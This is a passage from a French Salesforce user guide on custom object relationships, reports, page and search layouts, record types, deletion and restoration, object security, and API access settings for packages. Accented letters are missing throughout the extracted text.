vous crez sur la base d'une relation. Pour plus d'informations sur le choix de l'icne de votre onglet personnalis,
reportez-vous Cration d'onglets d'objet personnalis la page 718.
Les listes associes personnalises n'incluent pas d'icne si elles reposent sur une relation avec un objet personnalis ne
comportant pas d'onglet personnalis.
Relations principal-dtails
Si un objet personnalis reprsente le ct dtails d'une relation principal-dtails, il ne peut pas reprsenter simultanment
le ct principal d'une autre relation principal-dtails.
Des objets standard ne peuvent pas se trouver du ct dtails d'une relation principal-dtails personnalise.
Vous ne pouvez pas crer de relation principal-dtails si votre objet personnalis contient dj des donnes. Vous pouvez
toutefois crer la relation en tant que recherche, puis la convertir en principal-dtails, si le champ de recherche contient
une valeur dans tous les enregistrements.
Lorsque vous supprimez un objet personnalis qui se trouve du ct dtails d'une relation principal dtails, la relation
est convertie en une relation de recherche. Si vous restaurez l'objet personnalis, vous devez le convertir manuellement
en principal-dtails.
Vous ne pouvez pas supprimer un objet personnalis s'il se trouve du ct principal d'une relation principal-dtails.
Relations plusieurs--plusieurs
Les enregistrements d'objet Junction sont supprims quand l'un des enregistrements principaux est supprim et plac
dans le corbeille. Si les deux enregistrements principaux associs sont supprims, l'enregistrement d'objet junction est
dfinitivement supprim et ne peut pas tre restaur.
Le partage d'accs d'un enregistrement d'objet junction est dtermin par l'accs de partage d'un utilisateur aux deux
enregistrements principaux associs et par l'option Paramtre de partage du champ de la relation. Reportez-vous
Scurit des objets personnaliss la page 713. Par exemple, si le paramtre de partage des deux parents est
Lecture/criture, l'utilisateur doit disposer d'un accs en lecture/criture pour les deux parents afin d'avoir un accs en
lecture/criture l'objet junction. D'un autre ct, si le paramtre de partage des deux principaux est Lecture seule, un

Crer

Guide de l'utilisateur | Prsentation des relations | 703

utilisateur ayant des droits de lecture seule sur les enregistrements principaux a un accs en lecture/criture sur l'objet
junction.
Vous pouvez crer des rgles de workflow et des processus d'approbation sur des objets junction. Cependant, vous ne
pouvez pas crer de messages sortants sur des objets junction.
Dans une relation plusieurs--plusieurs, un utilisateur ne peut pas supprimer un enregistrement parent si plus de
200 enregistrements d'objet junction y sont associs et si l'objet junction possde un champ rcapitulatif de cumul qui
s'intgre l'autre parent. Pour supprimer cet objet, supprimez manuellement les enregistrements d'objet junction jusqu'
ce que leur nombre soit infrieur 200.
La premire relation principal-dtails que vous crez sur votre objet junction devient la relation principale. Cela affecte
les lments suivants pour les enregistrements d'objet junction :

Apparence : Les pages de dtails et de modification de l'objet junction utilisent la couleur et toutes les icnes associes
de l'objet primaire.
Responsable d'enregistrement : Les enregistrements de l'objet junction hritent de la valeur du champ Responsable
de leur enregistrement principal primaire associ. Comme les objets du ct dtails de la relation ne disposent pas
d'un champ Responsable visible, cela n'est pertinent que dans la mesure o vous supprimez par la suite les deux
relations principal-dtails de votre objet junction.
Service : Si votre entreprise dispose de services des fins de segmentation des donnes, les enregistrements d'objet
junction hritent leur service de leur enregistrement principal primaire associ. De mme qu'avec le responsable
d'enregistrement, cela n'est pertinent que dans la mesure o vous supprimez par la suite les deux relations
principal-dtails.

La seconde relation principal-dtails que vous crez sur votre objet junction devient la relation secondaire. Si vous supprimez
la principale relation principal-dtails ou si vous la convertissez en une relation de recherche, l'objet principal secondaire
devient primaire.
Des champs de rcapitulatif de cumul qui rsument les donnes de l'objet junction peuvent tre crs pour les deux objets
principaux.
Les champs de formule et les rgles de validation de l'objet junction peuvent faire rfrence des champs des deux objets
principaux.
Vous pouvez dfinir des dclencheurs Apex sur les deux objets principaux et sur l'objet junction.
Un objet junction ne peut pas se trouver du ct principal d'une autre relation principal-dtails.
Vous ne pouvez pas crez une auto-relation plusieurs--plusieurs, c'est--dire que les deux relations principal-dtails de
l'objet junction ne peuvent pas avoir le mme objet principal.
Influence des relations sur les rapports
Le type de relation que vous crez a une influence sur les types de rapport standard disponibles et sur leur catgorie dans
la premire tape de l'assistant de rapport personnalis. Ces types de rapports dterminent les objets associs qui peuvent
tre inclus dans le rapport :

Des relations de recherche permettent d'associer des donnes des deux objets associs dans un rapport.
Des relations principal-dtails permettent d'associer des donnes de trois objets dans un rapport : l'objet principal,
l'objet de dtail, plus un autre objet de recherche. Si l'objet de dtail possde plusieurs relations de recherche, un type
de rapport distinct est disponible en fonction de chaque recherche.

Crer

Guide de l'utilisateur | Prsentation des relations | 704

Des relations plusieurs--plusieurs offrent deux types de rapports standard qui associent des objets principaux et
l'objet junction. Les types de rapport sont :
-

Principal primaire avec objet junction et principal secondaire dans la catgorie de rapport de l'objet principal
primaire
Principal secondaire avec objet junction et principal primaire dans la catgorie de rapport de l'objet principal
secondaire

L'ordre des objets principaux dans le type de rapport est important. Le premier objet principal indiqu dtermine la
porte des enregistrements qui peuvent tre affichs dans le rapport.
L'influence du rapport de chaque type de relation est rsum dans le tableau suivant :
Type de relation

Types de rapport standard

Catgorie du type de rapport

Recherche

Objet mme

En fonction de l'objet

Objet avec premire recherche

Objet avec deuxime recherche
Objet avec troisime recherche
Principal-Dtails

Objet principal mme

Objet principal

Objet principal avec objet de dtail

Objet principal avec objet de dtail et
premire recherche
Objet principal avec objet de dtail et
deuxime recherche
Objet principal avec objet de dtail et
troisime recherche
Plusieurs--plusieurs

Objet principal primaire mme

Objet principal primaire

Objet principal secondaire mme

et

Objet principal primaire avec objet

junction et objet principal secondaire

Objet principal secondaire

Objet principal secondaire avec objet

junction et objet principal primaire

Les types de rapports personnaliss vous apportent plus de flexibilit pour associer des donnes issues de plusieurs objets,
y compris des recherches ainsi que des relations principal-dtails.
Important: La conversion d'une relation de recherche en principal-dtails et inversement peut rendre inutilisables
des rapports personnaliss existants cause des diffrents types de rapports standard disponibles pour chaque
type de relation. Il est recommand de tester vos rapports personnaliss immdiatement aprs la conversion du

Crer

Guide de l'utilisateur | Personnalisation d'objets personnaliss | 705

type de relation. Si vous restaurez la relation en son type d'origine, les rapports sont restaurs et de nouveau
utilisables.

Voir aussi :
Prsentation des relations
Cration d'une relation plusieurs--plusieurs

Personnalisation d'objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour personnaliser des objets personnaliss :

Personnaliser l'application

Personnalisez l'interface utilisateur de vos objets personnaliss en :

Crant un onglet personnalis ; reportez-vous Dfinition d'onglets personnaliss la page 718

Crant des relations et des champs personnaliss ; reportez-vous Dfinition des champs d'objet personnaliss la page
706
Ajoutant des boutons et des liens personnaliss pour effectuer des oprations ou insrer un lien vers d'autres pages ou sites
Web ; reportez-vous Configuration des boutons et liens personnaliss la page 579
Dfinissant les champs afficher pour les utilisateurs sur les pages de dtails d'enregistrement et les pages de modification ;
reportez-vous laboration de prsentations de page pour les objets personnaliss la page 707
Dfinissant les champs afficher pour les utilisateurs dans les rsultats de recherche, les botes de dialogue de recherche
et les listes-cls des onglets d'objet personnalis (reportez-vous Personnalisation des prsentations de recherche pour les
objets personnaliss la page 708)
Crant des types d'enregistrement pour afficher diverses prsentations de page et valeurs de liste de slection aux diffrents
utilisateurs selon leur profil ; reportez-vous Cration de types d'enregistrement d'objet personnalis la page 709

Crer

Guide de l'utilisateur | Personnalisation d'objets personnaliss | 706

Dfinition des champs d'objet personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher et modifier des champs standard :

Personnaliser l'application

Pour crer des champs personnaliss :

Personnaliser l'application

Les champs d'objet personnalis stockent les donnes de vos enregistrements d'objet personnalis.
Champs personnaliss pour les objets personnaliss
Vous pouvez crer des champs personnaliss pour stocker des informations propres votre entreprise ; reportez-vous
Ajout de champs et de relations la page 391. Vous pouvez galement crer des relations personnalises afin d'associer
votre objet personnalis un autre objet dans Salesforce.com. Pour plus d'informations sur les relations, reportez-vous
Prsentation des relations la page 697.
Champs standard des objets personnaliss
Les objets personnaliss incluent automatiquement les champs standard suivants. Cliquez sur Modifier pour modifier
l'un des champs modifiables.
Champ

Description

Cr par

Utilisateur qui a cr l'enregistrement.

Devise

Devise de l'enregistrement si l'option de multidevise est active.

Service

Service auquel l'enregistrement d'objet personnalis appartient.

Les objets personnaliss qui sont des objets dtails dans une
relation principal-dtails hritent de leur service de l'objet
principal. Les objets personnaliss qui ne sont pas associs
d'autres enregistrements sont automatiquement inclus au
service global. Disponible uniquement dans les organisations
qui utilisent des services pour segmenter leurs donnes.

Dernire modification par

Utilisateur qui a modifi l'enregistrement en dernier.

Nom

Identificateur de l'enregistrement d'objet personnalis. Ce

nom apparat dans les prsentations de page, les listes associes,
les botes de dialogue de recherche, les rsultats de recherche
et les listes cls des pages d'accueil des onglets. Par dfaut, ce
champ est intgr la prsentation de page de l'objet
personnalis sous forme de champ obligatoire.

Responsable

Responsable dsign vis--vis de l'enregistrement d'objet

personnalis. Si l'objet personnalis devient le ct dtails
d'une relation principal-dtails, ce champ est supprim, car la

Crer

Guide de l'utilisateur | Personnalisation d'objets personnaliss | 707

Champ

Description
proprit des donnes est contrle par l'objet principal ou par
l'objet principal primaire d'un objet personnalis avec deux
relations principal-dtails.
Remarque: Les objets personnaliss situs du ct
dtails d'une relation principal-dtails ne peuvent
pas avoir de rgles de partage, de partage manuel ni
de files d'attente car ils ncessitent le champ
Responsable.

Voir aussi :
Personnalisation d'objets personnaliss
Prsentation des relations

laboration de prsentations de page pour les objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour dfinir les prsentations de page des objets personnaliss : Autorisation de personnalisation de l'application

Les prsentations de page dfinissent les champs que les utilisateurs peuvent afficher et modifier lors de la saisie des donnes
d'un enregistrement d'objet personnalis. Vous pouvez utiliser la prsentation de page par dfaut cre automatiquement en
mme temps que l'objet personnalis. Vous pouvez galement laborer votre propre prsentation de page avec des listes associes
et des liens personnaliss. Si vous n'utilisez pas de prsentation de page pour votre objet personnalis, vous pouvez toujours
communiquer avec cet objet par l'intermdiaire de l'API Force.com pour grer les donnes personnalises ou crer une interface
utilisateur personnalise.
Pour dfinir la mise en page d'un objet personnalis :
1. Cliquez sur Configuration Crer Objets.
2. Slectionnez l'un des objets personnaliss de la liste.
3. Dans la liste associe Prsentations de page, cliquez sur Modifier en regard de l'une des prsentations de page pour la
modifier ou sur Nouveau pour crer une prsentation de page.
4. Lors de la cration d'une prsentation de page, entrez son nom et, le cas chant, slectionnez une prsentation de page
existante cloner.
5. Modifiez la prsentation de page de la mme manire qu'une autre.

Crer

Guide de l'utilisateur | Personnalisation d'objets personnaliss | 708

6. Cliquez sur Enregistrer.

Voir aussi :
Prsentation de l'objet personnalis
Personnalisation des prsentations de page
Personnalisation d'objets personnaliss

Personnalisation des prsentations de recherche pour les objets

personnaliss
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour dfinir des prsentations de recherche pour des objets
personnaliss :

Personnaliser l'application

Vous pouvez dfinir les champs d'objet personnalis afficher pour les utilisateurs dans les rsultats de recherche, les botes
de dialogue de recherche et les listes cls des pages d'accueil d'onglet personnalis. Vous pouvez spcifier un autre groupe de
champs afficher dans chaque prsentation de recherche. Les paramtres s'appliquent tous les utilisateurs de votre organisation.
En outre, dfinissez les boutons qui apparaissent dans les vues de liste personnalises et les rsultats de recherche. Vous pouvez
masquer un bouton d'affichage de liste standard ou afficher un bouton personnalis. Les boutons standard ne sont pas disponibles
sur les prsentations des rsultats de recherche. Pour afficher un bouton personnalis, crez le bouton personnalis et attribuez-lui
un Type d'affichage Bouton de liste.
1. Cliquez sur Configuration Crer Objets.
2. Slectionnez l'un des objets personnaliss de la liste.
3. Dans la liste associe Prsentations de recherche, cliquez sur Modifier en regard de la prsentation de recherche modifier.
Remarque: Les champs slectionns dans les listes-cls de la page d'accueil des onglets personnaliss font galement
office de colonnes dans la vue de liste par dfaut Tout et de colonnes par dfaut des nouvelles vues de liste. Pour
afficher d'autres colonnes, personnalisez la vue de liste.
4. Utilisez les flches pour ajouter ou supprimer des champs de la prsentation de recherche, et dfinir leur ordre d'apparition.
5. Utilisez les flches pour ajouter ou supprimer des boutons personnaliss de la prsentation, et dfinir l'ordre d'apparition
des boutons. Pour slectionner plusieurs lments, cliquez dessus tout en maintenant la touche Ctrl ou la touche Maj.
enfonce pour slectionner plusieurs lments dans une plage.

Slectionnez un ou plusieurs lments dans la liste disponible et cliquez sur Ajouter pour les ajouter la prsentation.
Slectionnez un ou plusieurs lments dans la liste slectionne et cliquez sur Supprimer pour les supprimer de la
prsentation.
Slectionnez un ou plusieurs lments dans la liste slectionne et cliquez sur Up pour les remonter dans la liste.
Slectionnez un ou plusieurs lments dans la liste slectionne et cliquez sur Down pour les descendre dans la liste.

Crer

Guide de l'utilisateur | Personnalisation d'objets personnaliss | 709

6. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation des prsentations de recherche
Personnalisation d'objets personnaliss

Cration de types d'enregistrement d'objet personnalis

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour crer des types d'enregistrement d'objets personnaliss : Autorisation de personnalisation de l'application

Crez des types d'enregistrement pour un objet personnalis afin d'afficher des valeurs de liste de slection et de prsentations
de page diffrentes en fonction du profil des diffrents utilisateurs. Pour plus d'informations sur les types d'enregistrement,
reportez-vous Gestion des types d'enregistrement la page 539.
Cliquez sur Configuration Crer Objets.
Slectionnez l'objet personnalis.
Cliquez sur Nouveau dans la liste associe Types d'enregistrement.
Slectionnez Matre dans la liste droulante Type d'enregistrement existant pour copier toutes les valeurs de
liste de slection disponibles ou choisissez un type d'enregistrement pour cloner ses valeurs de liste de slection.
5. Saisissez une Etiquette de type d'enregistrement unique dans l'objet.
6. Saisissez une description.
7. Activez la case Actif afin d'activer le type d'enregistrement.
8. Slectionnez la colonne Activer pour le profil en regard d'un profil pour mettre le type d'enregistrement la
disposition des utilisateurs ayant ce profil. Cochez la case de la ligne d'en-tte pour l'activer dans tous les profils.
9. Pour les profils activs, slectionnez la colonne Affecter par dfaut afin de dfinir le type d'enregistrement comme
valeur par dfaut pour les utilisateurs de ce profil. Activez la case de la ligne d'en-tte pour la dfinir comme valeur par
dfaut pour tous les profils.
10. Cliquez sur Suivant.
11. Slectionnez une option d'affichage de prsentation de page pour les enregistrements de ce type :
1.
2.
3.
4.

Pour appliquer une seule prsentation de page tous les profils, slectionnez Appliquer une prsentation
tous les profils et choisissez la prsentation de page dans la liste droulante.
Pour appliquer des prsentations de page diffrentes bases sur des profils d'utilisateur, slectionnez Appliquer une
prsentation diffrente par profil et choisissez la prsentation de page de chaque profil.

Crer

Guide de l'utilisateur | Suppression d'objets personnaliss | 710

12. Cliquez sur Enregistrer pour modifier les valeurs des listes de slection standard et personnalises disponibles pour le type
d'enregistrement ou sur Enregistrer et Nouveau pour crer un autre type d'enregistrement. .

Voir aussi :
Personnalisation d'objets personnaliss

Suppression d'objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour supprimer des objets personnaliss :

Personnaliser l'application

Pour supprimer des objets personnaliss :

1. Cliquez sur Configuration Crer Objets.
2. Cliquez sur Suppr en regard de l'objet personnalis.
3. Lorsque vous y tes invit, cochez la case Oui, je veux supprimer cet objet personnalis pour confirmer
la suppression, puis cliquez sur Supprimer.
Remarques concernant la suppression d'objets personnaliss

Lorsque vous supprimez un objet personnalis, Salesforce.com ne le rpertorie pas dans la Corbeille avec les autres
enregistrements personnaliss. la place, les objets supprims apparaissent dans la liste Objets personnaliss supprims
pendant 45 jours. Au cours de cette priode, vous pouvez restaurer un objet et les donnes qui y sont stockes ou effacer
dfinitivement l'objet et ses donnes. Aprs 45 jours, l'objet et ses donnes sont effacs de manire dfinitive. Si un utilisateur
clique sur le signet de l'URL d'un enregistrement d'objet personnalis supprim, Salesforce.com affiche le message
Privilges insuffisants. Pour plus d'informations sur la restauration d'objets personnaliss, reportez-vous
Gestion des objets personnaliss supprims la page 712.
Tant qu'ils ne sont pas dfinitivement supprims, l'objet personnalis et ses donnes sont toujours pris en compte dans le
nombre maximal d'lments autoriss pour votre entreprise. Pour visualiser la liste rpertoriant le nombre maximal d'objets
personnaliss, de champs et d'autres lments autoriss dans votre organisation, reportez-vous ditions Salesforce.com
et limitations la page 932.
Lorsque vous supprimez un objet personnalis, Salesforce.com procde comme suit :
-

Il supprime l'objet des packages Force.com AppExchange.

Si l'objet supprim se trouve du ct dtails d'une relation principal-dtails, il modifie la relation principal-dtails en
une relation de recherche.
Il efface dfinitivement :

Les enregistrements de donnes de l'objet de la Corbeille

L'onglet personnalis, qui est supprim de toutes les sous-applications personnalises
Les vues de liste de l'objet
Les rgles et les actions de workflow qui utilisent cet objet

Crer

Guide de l'utilisateur | Suppression d'objets personnaliss | 711

Les paramtres de configuration mobile, dont les ensembles de donnes, les vues mobiles et les champs exclus.
Si l'objet supprim se trouve du ct dtails d'une relation principal-dtails.

Les types de rapports standard associs cet objet

Les rapports bass sur des types de rapports standard

Il cache ou dsactive :

La dfinition de l'objet personnalis et toutes les dfinitions qui s'y rapportent

Les enregistrements de donnes de l'objet et tous les enregistrements de donnes qui s'y rapportent
Les types de rapports personnaliss pour lesquels cet objet est l'objet principal
Les rapports personnaliss pour lesquels cet objet est l'objet principal
Les champs de formule personnaliss de l'objet
Les rgles de validation et les processus personnaliss de l'objet

Salesforce.com restaure ces lments si vous restaurez l'objet personnalis.

Vous ne pouvez pas supprimer un objet personnalis s'il se trouve du ct principal d'une relation principal-dtails. Lorsque
vous supprimez un objet personnalis qui se trouve du ct dtails d'une relation principal-dtails, la relation est convertie
en une relation de recherche. Si vous restaurez l'objet personnalis, vous devez le convertir manuellement en principal-dtails.
Vous ne pouvez pas supprimer un objet personnalis s'il correspond un objet cible dans un instantan analytique.
Vous ne pouvez pas supprimer un objet personnalis contenant des champs personnaliss utiliss dans un champ rcapitulatif
de cumul par un autre objet.
Les prsentations de page d'un objet personnalis sont supprimes et restaures avec lui. Cependant, des donnes d'un
objet personnalis peuvent aussi exister sur des prsentations de page pour d'autres objets sous la forme de listes associes.
Ces listes associes demeurent jusqu' ce que vous modifiiez la prsentation de la page, Salesforce.com supprime alors
dfinitivement tout lment en rapport avec l'objet personnalis supprim.
Vous ne pouvez pas supprimer un objet personnalis s'il est rfrenc dans :
-

Un script Apex
Une page Visualforce
Un instantan analytique

Voir aussi :
Gestion des objets personnaliss supprims

Crer

Guide de l'utilisateur | Gestion des objets personnaliss supprims | 712

Gestion des objets personnaliss supprims

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour restaurer des objets personnaliss supprims :

Personnaliser l'application

Pour supprimer dfinitivement des objets personnaliss :

Personnaliser l'application

Lorsque vous supprimez un objet personnalis, Salesforce.com ne le rpertorie pas dans la Corbeille avec les autres
enregistrements personnaliss. la place, les objets supprims apparaissent dans la liste Objets personnaliss supprims pendant
45 jours. Au cours de cette priode, vous pouvez restaurer un objet et les donnes qui y sont stockes ou effacer dfinitivement
l'objet et ses donnes. Aprs 45 jours, l'objet et ses donnes sont effacs de manire dfinitive. Si un utilisateur clique sur le
signet de l'URL d'un enregistrement d'objet personnalis supprim, Salesforce.com affiche le message Privilges
insuffisants.
Tant qu'ils ne sont pas dfinitivement supprims, l'objet personnalis et ses donnes sont toujours pris en compte dans le
nombre maximal d'lments autoriss pour votre entreprise.
Pour visualiser la liste de vos relations et objets personnaliss supprims :
1. Cliquez sur Configuration Crer Objets.
2. Cliquez sur Objets supprims en bas de la liste des objets personnaliss. Le nombre entre parenthses indique le nombre
total d'objets personnaliss supprims dans votre entreprise. Ce lien s'affiche uniquement lorsque vous avez supprim un
objet personnalis.
3. Utilisez la liste des objets dfinitivement supprims pour raliser les oprations suivantes :

Pour visualiser des dtails concernant un objet, cliquez sur l'tiquette.

Pour supprimer dfinitivement l'objet personnalis et ses donnes, cliquez sur Effacer.
Pour restaurer l'objet et ses donnes, cliquez sur Restaurer. Certains attributs des objets personnaliss supprims ne
sont pas automatiquement restaurs. Pour les restaurer manuellement, effectuez les tapes suivantes :
-

Le nom du dveloppeur a t modifi en objectname_del. Modifiez l'objet afin de changer le nom du dveloppeur.
Le champ Statut du dploiement de l'objet personnalis a t chang en En cours de dveloppement. Lorsque
toutes les modifications concernes par l'objet supprim ont t restaures, modifiez l'objet afin de changer le statut
en Dploy.
Ajoutez l'objet personnalis aux packages Force.com AppExchange appropris. Salesforce.com retire automatiquement
les objets personnaliss supprims des packages qui en contiennent.
Rcrez tous les onglets personnaliss et les vues de listes de l'objet personnalis et ajoutez l'onglet personnalis
toutes les sous-applications personnalises selon vos besoins.
Regnrez toutes les rgles de workflow de l'objet.
Ractivez toutes les rgles de validations personnalises de l'objet.
Ractivez tous les processus d'approbation de l'objet.
Ouvrez et enregistrez tous les champs de formule personnaliss de l'objet personnalis pour les activer.

Crer

Guide de l'utilisateur | Scurit des objets personnaliss | 713

Sur les prsentations de page d'autres objets, ajoutez la liste, le bouton ou le lien associs l'objet personnalis vers
toutes les prsentations de page qui ont t modifies alors que l'objet tait supprim. Les listes, boutons et liens
associs cet objet sont automatiquement restaurs si la prsentation de la page n'est pas modifie alors que l'objet
tait supprim.
Pour des types de rapports personnaliss o l'objet n'est pas l'objet principal, ajoutez de nouveau la rfrence l'objet
personnalis dans les types de rapports personnaliss. Les rapports bass sur un type de rapport personnalis sont
restaurs automatiquement s'ils n'ont pas t modifis alors que l'objet tait supprim. Recrez tous les rapports qui
ont t supprims.
Si l'objet personnalis supprim se trouve du ct dtails d'une relation principal-dtails :

Les champs principal-dtails sont convertis en champs de recherche lorsque l'objet est supprim. Modifiez les
types de champs pour revenir principal-dtails.
Les rapports bass sur l'objet ne sont pas rcuprables. Le cas chant, rcrez les rapports.

Remarque: Il peut s'couler plusieurs heures avant que vous ne puissiez rechercher des enregistrements dans l'objet.

Voir aussi :
Suppression d'objets personnaliss

Scurit des objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

De nombreux paramtres de scurit fonctionnent de pair pour que vous puissiez contrler l'accs vos objets personnaliss
avec un maximum de flexibilit. Dfinissez la scurit des objets personnaliss aux diffrents niveaux suivants :

Onglet - Permet d'afficher l'onglet personnalis des utilisateurs appropris en fonction de leur profil. Reportez-vous
Gestion des profils la page 108.
Objet - Dfinit l'accs dont disposent les utilisateurs pour crer, lire, modifier et supprimer des enregistrements pour
chaque objet. Reportez-vous Autorisations d'objet standard et personnaliss.
Enregistrements - Permet de dfinir le modle de partage par dfaut de tous vos utilisateurs. Ceci dtermine l'accs des
utilisateurs aux enregistrements d'objet personnalis dont ils ne sont pas responsables. Reportez-vous Gestion des
paramtres de partage la page 161.
Relations - Pour des objets du ct dtails d'une relation principal-dtails, spcifiez l'accs de partage dont les utilisateurs
doivent disposer l'enregistrement principal afin de crer, de modifier ou de supprimer les enregistrements de dtails
associs. Cela est spcifi dans l'attribut Paramtre de partage du champ de la relation principal-dtails de l'objet
dtaill.
Champs - Permet de dfinir le niveau d'accs des utilisateurs aux champs de votre prsentation de page d'objet personnalis.
Reportez-vous Configuration de la scurit au niveau du champ la page 182.

Les exigences suivantes s'appliquent aux objets personnaliss sans relation principal-dtails :

Crer

Guide de l'utilisateur | Scurit des objets personnaliss | 714

Action

Privilges requis

Cration d'un enregistrement

Autorisation de cration sur le profil utilisateur. Pour que

l'utilisateur puisse crer un enregistrement partir de la liste
droulante Crer du menu latral, l'onglet correspondant doit
tre visible.

Affichage d'un enregistrement

Autorisation de lecture sur le profil utilisateur et modle de

partage Accs public en lecture seule ou Accs public en
lecture/criture si l'utilisateur n'est pas le responsable de
l'enregistrement.

Modification d'un enregistrement

Autorisation de modification sur le profil utilisateur et modle

de partage Accs public en lecture/criture si l'utilisateur n'est
pas le responsable de l'enregistrement.

Suppression d'un enregistrement

Autorisation de suppression sur le profil utilisateur, et ncessit

d'tre le responsable de l'enregistrement ou d'tre situ
au-dessus du responsable de l'enregistrement dans la hirarchie
des rles.

Les exigences suivantes s'appliquent aux objets personnaliss prsentant une relation principal-dtails avec un objet standard
ou personnalis :
Action

Privilges requis

Cration d'un enregistrement

Autorisation de cration sur le profil utilisateur et autorisation

d'accs en lecture ou en lecture/criture l'enregistrement
principal associ, en fonction de la valeur de l'attribut
Paramtre de partage du champ de la relation
principal-dtails de l'objet de dtail.

Affichage d'un enregistrement

Autorisation de lecture sur le profil utilisateur et autorisation

d'accs en lecture l'enregistrement principal associ. Si
l'enregistrement possde deux enregistrements principaux dans
une relation plusieurs--plusieurs, l'utilisateur doit disposer
d'un accs en lecture aux deux enregistrements principaux.

Modification d'un enregistrement

Autorisation de modification sur le profil utilisateur et

autorisation d'accs en lecture ou en lecture/criture
l'enregistrement principal associ, en fonction de la valeur de
l'attribut Paramtre de partage du champ de la relation
principal-dtails de l'objet de dtail.

Suppression d'un enregistrement

Autorisation de suppression sur le profil utilisateur et

autorisation d'accs en lecture ou en lecture/criture
l'enregistrement principal associ, en fonction de la valeur de
l'attribut Paramtre de partage du champ de la relation
principal-dtails de l'objet de dtail.
Lorsqu'un utilisateur supprime un enregistrement qui comporte
des enregistrements d'objet personnalis associs, tous ces

Crer

Guide de l'utilisateur | Gestion de l'accs API et de l'accs Apex dynamique dans les packages | 715

Action

Privilges requis
enregistrements sont supprims, que l'utilisateur soit autoris
ou non supprimer l'objet personnalis.

Les administrateurs dlgus peuvent grer presque tous les aspects des objets personnaliss spcifis, mais ne peuvent ni crer
ni modifier des relations sur l'objet, ni dfinir des valeurs de partage par dfaut l'chelle de l'organisation. Reportez-vous
Dlgation des tches administratives la page 209.

Voir aussi :
Configuration de la scurit au niveau du champ
Autorisations utilisateurs sur les profils
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Dfinition d'objets personnaliss
Configuration de la scurit au niveau du champ
Autorisations utilisateurs sur les profils
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Dfinition d'objets personnaliss

Gestion de l'accs API et de l'accs Apex dynamique dans

les packages
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier l'accs API et l'accs Apex dynamique dans un Crer des packages AppExchange
package que vous avez crs ou installs :
Pour accepter ou rejeter l'accs API et l'accs Apex dynamique Tlcharger des packages AppExchange
pour un package dans le cadre d'une installation :

Accs API est un paramtre de package contrlant l'accs Apex dynamique et l'accs API des commandes s-control et d'autres

composants d'un package des objets standard et personnaliss. Le paramtre s'affiche pour le dveloppeur et l'installateur
sur la page de dtails du package. Avec ce paramtre :

Le dveloppeur d'un package AppExchange peut restreindre laccs API d'un package avant de le tlcharger vers Force.com
AppExchange. Une fois le package restreint, ses composants reoivent des sessions Apex etAPI limites aux objets
personnaliss du package. Le dveloppeur peut galement activer l'accs des objets standard spcifiques, ainsi qu'aux
objets personnaliss d'autres packages dont ce package dpend.
L'installateur d'un package peut accepter ou refuser les privilges daccs du package lors de l'installation du package au
sein de son entreprise.

Crer

Guide de l'utilisateur | Gestion de l'accs API et de l'accs Apex dynamique dans les packages | 716

Aprs l'installation, un administrateur peut tout moment modifier l'accs Apex et l'accs API d'un package. L'installateur
peut galement activer l'accs des objets supplmentaires tels que des objets personnaliss crs dans l'organisation de
l'installateur ou des objets installs par des packages non associs.

Configuration de l'accs API et de l'accs Apex dynamique dans les packages

Pour changer les privilges d'accs d'un package cr par vous-mme ou un membre de votre entreprise :
1. Cliquez sur Configuration Crer Packages.
2. Slectionnez le package.
3. Le champ Accs API affiche la configuration actuelle, Limit ou Illimit et un lien soit vers Activer les restrictions
soit vers Dsactiver les restrictions. Si les accs Lire, Crer, Modifier et Supprimer ne sont pas slectionns dans
le paramtre d'accs de l'API des objets, les utilisateurs n'ont pas accs ces objets partir des composants du package,
mme s'ils disposent des autorisations Modifier toutes les donnes et Afficher toutes les donnes .
Utilisez le champ Accs API pour :
Activer les restrictions
Cette option est disponible uniquement si le paramtre actuel est Illimit. Slectionnez cette option si vous voulez
spcifier l'accs Apex et API des composants du package aux objets standard dans l'entreprise de l'installateur. Lorsque
vous slectionnez cette option, la liste Autorisations d'objet tendu s'affiche. Cochez les cases Lire, Crer, Modifier
ou Supprimer pour autoriser l'accs chaque objet de la liste. Cette slection est dsactive dans certains cas. Cliquez
sur Enregistrer lorsque vous avez termin. Pour plus d'informations sur l'option Limit, notamment les informations
concernant les cas o elle est dsactive, reportez-vous Observations sur l'accs API et Apex dynamique dans les
packages la page 1017.
Dsactiver les restrictions
Cette option est disponible uniquement si le paramtre actuel est Limit. Slectionnez cette option si vous ne voulez
pas restreindre les privilges d'accs Apex et l'API des composants du package sur les objets standard et
personnaliss. Cette option donne tous les composants du package le mme accs API que l'utilisateur connect.
Par exemple, si un utilisateur peut accder des comptes, une classe Apex du package qui accde des compte peut
y parvenir si elle est dclenche par cet utilisateur.
Limit
Cliquez ce lien si vous avez dj limit l'accs API et souhaitez modifier les limitations.
Acceptation ou refus des privilges d'accs API et Apex dynamique lors de l'installation
Pour accepter ou refuser les privilges d'accs API et Apex dynamique pour un package que vous installez :

Dmarrez le processus d'installation sur Force.com AppExchange. Pour plus d'informations, reportez-vous Installation
d'un package la page 1009.
Dans la zone Approuver l'accs API, cliquez sur Suivant pour accepter ou sur Annuler pour refuser. Si vous n'avez pas
annul la procdure, effectuez toutes les tapes de l'installation.

Modification des privilges d'accs API et Apex dynamique aprs l'installation

